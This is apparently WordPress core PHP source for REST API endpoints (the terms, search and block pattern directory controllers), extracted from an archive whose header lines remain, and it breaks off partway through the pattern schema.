		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to delete the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, otherwise false or WP_Error object.
	 */
	public function delete_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( ! current_user_can( 'delete_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for terms.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Terms do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		$request->set_param( 'context', 'view' );

		$previous = $this->prepare_item_for_response( $term, $request );

		$retval = wp_delete_term( $term->term_id, $term->taxonomy );

		if ( ! $retval ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The term cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires after a single term is deleted via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_delete_category`
		 *  - `rest_delete_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term          $term     The deleted term.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single term for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object Term object.
	 */
	public function prepare_item_for_database( $request ) {
		$prepared_term = new stdClass();

		$schema = $this->get_item_schema();
		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_term->name = $request['name'];
		}

		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
			$prepared_term->slug = $request['slug'];
		}

		if ( isset( $request['taxonomy'] ) && ! empty( $schema['properties']['taxonomy'] ) ) {
			$prepared_term->taxonomy = $request['taxonomy'];
		}

		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
			$prepared_term->description = $request['description'];
		}

		if ( isset( $request['parent'] ) && ! empty( $schema['properties']['parent'] ) ) {
			$parent_term_id   = 0;
			$requested_parent = (int) $request['parent'];

			if ( $requested_parent ) {
				$parent_term = get_term( $requested_parent, $this->taxonomy );

				if ( $parent_term instanceof WP_Term ) {
					$parent_term_id = $parent_term->term_id;
				}
			}

			$prepared_term->parent = $parent_term_id;
		}

		/**
		 * Filters term data before inserting term via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_pre_insert_category`
		 *  - `rest_pre_insert_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param object          $prepared_term Term object.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( "rest_pre_insert_{$this->taxonomy}", $prepared_term, $request );
	}

	/**
	 * Prepares a single term output for response.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Term         $item    Term object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
			return apply_filters( "rest_prepare_{$this->taxonomy}", new WP_REST_Response( array() ), $item, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = (int) $item->term_id;
		}

		if ( in_array( 'count', $fields, true ) ) {
			$data['count'] = (int) $item->count;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $item->description;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_term_link( $item );
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $item->name;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $item->slug;
		}

		if ( in_array( 'taxonomy', $fields, true ) ) {
			$data['taxonomy'] = $item->taxonomy;
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->parent;
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $item->term_id, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $item ) );
		}

		/**
		 * Filters the term data for a REST API response.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_prepare_category`
		 *  - `rest_prepare_post_tag`
		 *
		 * Allows modification of the term data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response  $response  The response object.
		 * @param WP_Term           $item      The original term object.
		 * @param WP_REST_Request   $request   Request used to generate the response.
		 */
		return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Term $term Term object.
	 * @return array Links for the given term.
	 */
	protected function prepare_links( $term ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( rest_get_route_for_term( $term ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) ),
			),
			'about'      => array(
				'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $this->taxonomy ) ),
			),
		);

		if ( $term->parent ) {
			$parent_term = get_term( (int) $term->parent, $term->taxonomy );

			if ( $parent_term ) {
				$links['up'] = array(
					'href'       => rest_url( rest_get_route_for_term( $parent_term ) ),
					'embeddable' => true,
				);
			}
		}

		$taxonomy_obj = get_taxonomy( $term->taxonomy );

		if ( empty( $taxonomy_obj->object_type ) ) {
			return $links;
		}

		$post_type_links = array();

		foreach ( $taxonomy_obj->object_type as $type ) {
			$rest_path = rest_get_route_for_post_type_items( $type );

			if ( empty( $rest_path ) ) {
				continue;
			}

			$post_type_links[] = array(
				'href' => add_query_arg( $this->rest_base, $term->term_id, rest_url( $rest_path ) ),
			);
		}

		if ( ! empty( $post_type_links ) ) {
			$links['https://api.w.org/post_type'] = $post_type_links;
		}

		return $links;
	}

	/**
	 * Retrieves the term's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy,
			'type'       => 'object',
			'properties' => array(
				'id'          => array(
					'description' => __( 'Unique identifier for the term.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
				'count'       => array(
					'description' => __( 'Number of published posts for the term.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'HTML description of the term.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
				),
				'link'        => array(
					'description' => __( 'URL of the term.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
				'name'        => array(
					'description' => __( 'HTML title for the term.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
					'required'    => true,
				),
				'slug'        => array(
					'description' => __( 'An alphanumeric identifier for the term unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'taxonomy'    => array(
					'description' => __( 'Type attribution for the term.' ),
					'type'        => 'string',
					'enum'        => array( $this->taxonomy ),
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$taxonomy = get_taxonomy( $this->taxonomy );

		if ( $taxonomy->hierarchical ) {
			$schema['properties']['parent'] = array(
				'description' => __( 'The parent term ID.' ),
				'type'        => 'integer',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();
		$taxonomy     = get_taxonomy( $this->taxonomy );

		$query_params['context']['default'] = 'view';

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		if ( ! $taxonomy->hierarchical ) {
			$query_params['offset'] = array(
				'description' => __( 'Offset the result set by a specific number of items.' ),
				'type'        => 'integer',
			);
		}

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'asc',
			'enum'        => array(
				'asc',
				'desc',
			),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by term attribute.' ),
			'type'        => 'string',
			'default'     => 'name',
			'enum'        => array(
				'id',
				'include',
				'name',
				'slug',
				'include_slugs',
				'term_group',
				'description',
				'count',
			),
		);

		$query_params['hide_empty'] = array(
			'description' => __( 'Whether to hide terms not assigned to any posts.' ),
			'type'        => 'boolean',
			'default'     => false,
		);

		if ( $taxonomy->hierarchical ) {
			$query_params['parent'] = array(
				'description' => __( 'Limit result set to terms assigned to a specific parent.' ),
				'type'        => 'integer',
			);
		}

		$query_params['post'] = array(
			'description' => __( 'Limit result set to terms assigned to a specific post.' ),
			'type'        => 'integer',
			'default'     => null,
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to terms with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		/**
		 * Filters collection parameters for the terms controller.
		 *
		 * The dynamic part of the filter `$this->taxonomy` refers to the taxonomy
		 * slug for the controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Term_Query parameter.  Use the
		 * `rest_{$this->taxonomy}_query` filter to set WP_Term_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array       $query_params JSON Schema-formatted collection parameters.
		 * @param WP_Taxonomy $taxonomy     Taxonomy object.
		 */
		return apply_filters( "rest_{$this->taxonomy}_collection_params", $query_params, $taxonomy );
	}

	/**
	 * Checks that the taxonomy is valid.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to check.
	 * @return bool Whether the taxonomy is allowed for REST management.
	 */
	protected function check_is_taxonomy_allowed( $taxonomy ) {
		$taxonomy_obj = get_taxonomy( $taxonomy );
		if ( $taxonomy_obj && ! empty( $taxonomy_obj->show_in_rest ) ) {
			return true;
		}
		return false;
	}
}
endpoints/class-wp-rest-search-controller.php000064400000026331151024200430015404 0ustar00<?php
/**
 * REST API: WP_REST_Search_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class to search through all WordPress content via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Search_Controller extends WP_REST_Controller {

	/**
	 * ID property name.
	 */
	const PROP_ID = 'id';

	/**
	 * Title property name.
	 */
	const PROP_TITLE = 'title';

	/**
	 * URL property name.
	 */
	const PROP_URL = 'url';

	/**
	 * Type property name.
	 */
	const PROP_TYPE = 'type';

	/**
	 * Subtype property name.
	 */
	const PROP_SUBTYPE = 'subtype';

	/**
	 * Identifier for the 'any' type.
	 */
	const TYPE_ANY = 'any';

	/**
	 * Search handlers used by the controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Search_Handler[]
	 */
	protected $search_handlers = array();

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 *
	 * @param array $search_handlers List of search handlers to use in the controller. Each search
	 *                               handler instance must extend the `WP_REST_Search_Handler` class.
	 */
	public function __construct( array $search_handlers ) {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'search';

		foreach ( $search_handlers as $search_handler ) {
			if ( ! $search_handler instanceof WP_REST_Search_Handler ) {
				_doing_it_wrong(
					__METHOD__,
					/* translators: %s: PHP class name. */
					sprintf( __( 'REST search handlers must extend the %s class.' ), 'WP_REST_Search_Handler' ),
					'5.0.0'
				);
				continue;
			}

			$this->search_handlers[ $search_handler->get_type() ] = $search_handler;
		}
	}

	/**
	 * Registers the routes for the search controller.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permission_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to search content.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has search access, WP_Error object otherwise.
	 */
	public function get_items_permission_check( $request ) {
		return true;
	}

	/**
	 * Retrieves a collection of search results.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return $handler;
		}

		$result = $handler->search_items( $request );

		if ( ! isset( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! is_array( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! isset( $result[ WP_REST_Search_Handler::RESULT_TOTAL ] ) ) {
			return new WP_Error(
				'rest_search_handler_error',
				__( 'Internal search handler error.' ),
				array( 'status' => 500 )
			);
		}

		$ids = $result[ WP_REST_Search_Handler::RESULT_IDS ];

		$is_head_request = $request->is_method( 'HEAD' );
		if ( ! $is_head_request ) {
			$results = array();

			foreach ( $ids as $id ) {
				$data      = $this->prepare_item_for_response( $id, $request );
				$results[] = $this->prepare_response_for_collection( $data );
			}
		}

		$total     = (int) $result[ WP_REST_Search_Handler::RESULT_TOTAL ];
		$page      = (int) $request['page'];
		$per_page  = (int) $request['per_page'];
		$max_pages = (int) ceil( $total / $per_page );

		if ( $page > $max_pages && $total > 0 ) {
			return new WP_Error(
				'rest_search_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $results );
		$response->header( 'X-WP-Total', $total );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$base           = add_query_arg( urlencode_deep( $request_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $page > 1 ) {
			$prev_link = add_query_arg( 'page', $page - 1, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $page < $max_pages ) {
			$next_link = add_query_arg( 'page', $page + 1, $base );
			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Prepares a single search result for response.
	 *
	 * @since 5.0.0
	 * @since 5.6.0 The `$id` parameter can accept a string.
	 * @since 5.9.0 Renamed `$id` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param int|string      $item    ID of the item to prepare.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$item_id = $item;

		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return new WP_REST_Response();
		}

		$fields = $this->get_fields_for_response( $request );

		$data = $handler->prepare_item( $item_id, $fields );
		$data = $this->add_additional_fields_to_object( $data, $request );

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links               = $handler->prepare_item_links( $item_id );
			$links['collection'] = array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			);
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Retrieves the item schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$types    = array();
		$subtypes = array();

		foreach ( $this->search_handlers as $search_handler ) {
			$types[]  = $search_handler->get_type();
			$subtypes = array_merge( $subtypes, $search_handler->get_subtypes() );
		}

		$types    = array_unique( $types );
		$subtypes = array_unique( $subtypes );

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'search-result',
			'type'       => 'object',
			'properties' => array(
				self::PROP_ID      => array(
					'description' => __( 'Unique identifier for the object.' ),
					'type'        => array( 'integer', 'string' ),
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_TITLE   => array(
					'description' => __( 'The title for the object.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_URL     => array(
					'description' => __( 'URL to the object.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_TYPE    => array(
					'description' => __( 'Object type.' ),
					'type'        => 'string',
					'enum'        => $types,
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_SUBTYPE => array(
					'description' => __( 'Object subtype.' ),
					'type'        => 'string',
					'enum'        => $subtypes,
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the search results collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$types    = array();
		$subtypes = array();

		foreach ( $this->search_handlers as $search_handler ) {
			$types[]  = $search_handler->get_type();
			$subtypes = array_merge( $subtypes, $search_handler->get_subtypes() );
		}

		$types    = array_unique( $types );
		$subtypes = array_unique( $subtypes );

		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params[ self::PROP_TYPE ] = array(
			'default'     => $types[0],
			'description' => __( 'Limit results to items of an object type.' ),
			'type'        => 'string',
			'enum'        => $types,
		);

		$query_params[ self::PROP_SUBTYPE ] = array(
			'default'           => self::TYPE_ANY,
			'description'       => __( 'Limit results to items of one or more object subtypes.' ),
			'type'              => 'array',
			'items'             => array(
				'enum' => array_merge( $subtypes, array( self::TYPE_ANY ) ),
				'type' => 'string',
			),
			'sanitize_callback' => array( $this, 'sanitize_subtypes' ),
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		return $query_params;
	}

	/**
	 * Sanitizes the list of subtypes, to ensure only subtypes of the passed type are included.
	 *
	 * @since 5.0.0
	 *
	 * @param string|array    $subtypes  One or more subtypes.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Parameter name.
	 * @return string[]|WP_Error List of valid subtypes, or WP_Error object on failure.
	 */
	public function sanitize_subtypes( $subtypes, $request, $parameter ) {
		$subtypes = wp_parse_slug_list( $subtypes );

		$subtypes = rest_parse_request_arg( $subtypes, $request, $parameter );
		if ( is_wp_error( $subtypes ) ) {
			return $subtypes;
		}

		// 'any' overrides any other subtype.
		if ( in_array( self::TYPE_ANY, $subtypes, true ) ) {
			return array( self::TYPE_ANY );
		}

		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return $handler;
		}

		return array_intersect( $subtypes, $handler->get_subtypes() );
	}

	/**
	 * Gets the search handler to handle the current request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Search_Handler|WP_Error Search handler for the request type, or WP_Error object on failure.
	 */
	protected function get_search_handler( $request ) {
		$type = $request->get_param( self::PROP_TYPE );

		if ( ! $type || ! is_string( $type ) || ! isset( $this->search_handlers[ $type ] ) ) {
			return new WP_Error(
				'rest_search_invalid_type',
				__( 'Invalid type parameter.' ),
				array( 'status' => 400 )
			);
		}

		return $this->search_handlers[ $type ];
	}
}
endpoints/class-wp-rest-pattern-directory-controller.php000064400000031215151024200430017613 0ustar00<?php
/**
 * Block Pattern Directory REST API: WP_REST_Pattern_Directory_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Controller which provides REST endpoint for block patterns.
 *
 * This simply proxies the endpoint at http://api.wordpress.org/patterns/1.0/. That isn't necessary for
 * functionality, but is desired for privacy. It prevents api.wordpress.org from knowing the user's IP address.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Pattern_Directory_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'pattern-directory';
	}

	/**
	 * Registers the necessary REST API routes.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/patterns',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to view the local block pattern directory.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has permission, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_pattern_directory_cannot_view',
			__( 'Sorry, you are not allowed to browse the local block pattern directory.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Search and retrieve block patterns metadata
	 *
	 * @since 5.8.0
	 * @since 6.0.0 Added 'slug' to request.
	 * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$valid_query_args = array(
			'offset'   => true,
			'order'    => true,
			'orderby'  => true,
			'page'     => true,
			'per_page' => true,
			'search'   => true,
			'slug'     => true,
		);
		$query_args       = array_intersect_key( $request->get_params(), $valid_query_args );

		$query_args['locale']             = get_user_locale();
		$query_args['wp-version']         = wp_get_wp_version();
		$query_args['pattern-categories'] = isset( $request['category'] ) ? $request['category'] : false;
		$query_args['pattern-keywords']   = isset( $request['keyword'] ) ? $request['keyword'] : false;

		$query_args = array_filter( $query_args );

		$transient_key = $this->get_transient_key( $query_args );

		/*
		 * Use network-wide transient to improve performance. The locale is the only site
		 * configuration that affects the response, and it's included in the transient key.
		 */
		$raw_patterns = get_site_transient( $transient_key );

		if ( ! $raw_patterns ) {
			$api_url = 'http://api.wordpress.org/patterns/1.0/?' . build_query( $query_args );
			if ( wp_http_supports( array( 'ssl' ) ) ) {
				$api_url = set_url_scheme( $api_url, 'https' );
			}

			/*
			 * Default to a short TTL, to mitigate cache stampedes on high-traffic sites.
			 * This assumes that most errors will be short-lived, e.g., packet loss that causes the
			 * first request to fail, but a follow-up one will succeed. The value should be high
			 * enough to avoid stampedes, but low enough to not interfere with users manually
			 * re-trying a failed request.
			 */
			$cache_ttl      = 5;
			$wporg_response = wp_remote_get( $api_url );
			$raw_patterns   = json_decode( wp_remote_retrieve_body( $wporg_response ) );

			if ( is_wp_error( $wporg_response ) ) {
				$raw_patterns = $wporg_response;

			} elseif ( ! is_array( $raw_patterns ) ) {
				// HTTP request succeeded, but response data is invalid.
				$raw_patterns = new WP_Error(
					'pattern_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					array(
						'response' => wp_remote_retrieve_body( $wporg_response ),
					)
				);

			} else {
				// Response has valid data.
				$cache_ttl = HOUR_IN_SECONDS;
			}

			set_site_transient( $transient_key, $raw_patterns, $cache_ttl );
		}

		if ( is_wp_error( $raw_patterns ) ) {
			$raw_patterns->add_data( array( 'status' => 500 ) );

			return $raw_patterns;
		}

		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$response = array();

		if ( $raw_patterns ) {
			foreach ( $raw_patterns as $pattern ) {
				$response[] = $this->prepare_response_for_collection(
					$this->prepare_item_for_response( $pattern, $request )
				);
			}
		}

		return new WP_REST_Response( $response );
	}

	/**
	 * Prepare a raw block pattern before it gets output in a REST API response.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$raw_pattern` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object          $item    Raw pattern from api.wordpress.org, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$raw_pattern = $item;

		$prepared_pattern = array(
			'id'             => absint( $raw_pattern->id ),
			'title'          => sanitize_text_field( $raw_pattern->title->rendered ),
			'content'        => wp_kses_post( $raw_pattern->pattern_content ),
			'categories'     => array_map( 'sanitize_title', $raw_pattern->category_slugs ),
			'keywords'       => array_map( 'sanitize_text_field', explode( ',', $raw_pattern->meta->wpop_keywords ) ),
			'description'    => sanitize_text_field( $raw_pattern->meta->wpop_description ),
			'viewport_width' => absint( $raw_pattern->meta->wpop_viewport_width ),
			'block_types'    => array_map( 'sanitize_text_field', $raw_pattern->meta->wpop_block_types ),
		);

		$prepared_pattern = $this->add_additional_fields_to_object( $prepared_pattern, $request );

		$response = new WP_REST_Response( $prepared_pattern );

		/**
		 * Filters the REST API response for a block pattern.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param object           $raw_pattern The unprepared block pattern.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_block_pattern', $response, $raw_pattern, $request );
	}

	/**
	 * Retrieves the block pattern's schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 * @since 6.2.0 Added `'block_types'` to schema.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'pattern-directory-item',
			'type'       => 'object',
			'properties' => array(
				'id'             => array(
					'description' => __( 'The pattern ID.' ),
					'type'        => 'integer',
					'minimum'     => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'title'          => array(
					'description' => __( 'The pattern title, in human readable format.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'content'        => array(
					'description' => __( 'The pattern content.' ),
					'type'        => 'string',
					'minLength'   => 1,
